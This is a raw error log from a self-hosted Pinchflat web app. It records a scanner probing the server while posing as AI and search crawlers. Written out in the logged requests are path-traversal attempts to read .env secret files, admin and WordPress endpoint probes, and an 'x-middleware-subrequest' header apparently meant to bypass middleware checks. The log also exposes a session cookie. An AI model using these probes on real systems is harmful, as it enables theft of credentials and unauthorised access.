DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, ha (truncated) 16:49:09.085 [info] GET /wp-json 16:49:09.086 [debug] QUERY OK source="settings" db=0.1ms idle=208.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.086 [debug] QUERY OK source="settings" db=0.0ms idle=208.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.086 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.086 [error] #PID<0.29769.0> running PinchflatWeb.Endpoint (connection #PID<0.29768.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29768.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34370}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29769.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/wp-json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hALBXVz74gABwXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29768.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34370}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29768.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34370}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :unde (truncated) 16:49:09.088 [info] GET /%2Fadmin 16:49:09.088 [debug] QUERY OK source="settings" db=0.0ms idle=138.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.088 [debug] QUERY OK source="settings" db=0.0ms idle=134.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.088 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.089 [error] #PID<0.29771.0> running PinchflatWeb.Endpoint (connection #PID<0.29770.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /%2Fadmin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fadmin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fadmin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34382}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29771.0>, params: %{}, path_info: ["%2Fadmin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/%2Fadmin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hA4qneNlW8ABwXh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fadmin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34382}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fadmin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29770.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fadmin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34382}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:09.094 [info] GET /build../.env 16:49:09.094 [debug] QUERY OK source="settings" db=0.0ms idle=139.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [info] GET /static../.env 16:49:09.094 [info] GET /media../.env 16:49:09.094 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.094 [debug] QUERY OK source="settings" db=0.0ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [debug] QUERY OK source="settings" db=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.094 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.094 [error] #PID<0.29773.0> running PinchflatWeb.Endpoint (connection #PID<0.29772.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /build../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34388}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29773.0>, params: %{}, path_info: ["build..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/build../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hCJkmXKqA8ABwYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34388}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34388}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:09.094 [error] #PID<0.29777.0> running PinchflatWeb.Endpoint (connection #PID<0.29775.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /media../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /media../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/media../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29777.0>, params: %{}, path_info: ["media..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => 